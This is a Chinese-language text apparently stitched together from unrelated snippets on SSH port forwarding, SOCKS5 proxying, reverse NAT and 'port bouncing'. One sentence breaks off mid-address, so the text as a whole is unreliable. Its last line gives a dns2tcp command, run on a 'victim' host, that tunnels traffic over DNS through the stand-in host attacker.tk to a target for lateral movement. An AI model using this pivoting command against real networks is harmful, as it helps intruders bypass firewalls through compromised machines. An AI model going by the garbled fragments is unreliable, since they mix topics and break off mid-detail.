然后你就可以在浏览器中或其他支持socks5代理的软件中进行设置。ssh client 和 ssh server 是同一台机器，并充当socks5代理:{you} — {ssh client / ssh server} — {other hosts}。
ssh能够提供客户端到服务端的加密传输，当http、ftp等协议被防火墙所拦截时，可以考虑使用SSH的端口转发功能，将其它TCP端口的网络数据通过SSH连接来转发。转发方式一共有三种，分别是：动态转发，本地转发，远端转发。
运行上述命令后，我们可以查看一下，2521端口已经处于监听状态了:再用SQLcl客户端工具连一下数据库，发现能正常连上，说明对localhost:2521的访问已经转发到了对数据库服务器的192.168.3.50:1521访问:
很多情况下，我们往往需要通过对某个端口进行转发(端口映射)实现某些特殊功能，比如堡垒机和负载均衡什么的。在这里我就稍微总结了几种最常用的端口转发方式供大家参考。Linux防火墙模式——反向NAT这种模式大多是要求用户很快速的实现将外网的某个端口eth0 1.1.1.
端口转发，也有人叫端口反弹，简单的很，总结了10个端口转发小技巧，其实就是A能访问B，B能访问C，但是A不能访问C，端口转发就是让A能访问C，举个不恰当的例子:情景:小黑能够访问和控制跳板机，跳板机能访问手机。
要沿路由受害者:4444 → 攻击者 → 目标:5555 转发流量，请使用以下参数运行实用程序:victim$> dns2tcpc.exe -z attacker.tk -k s3cr3t -t 3 -L 4444:target:5555 8.8.8.8。
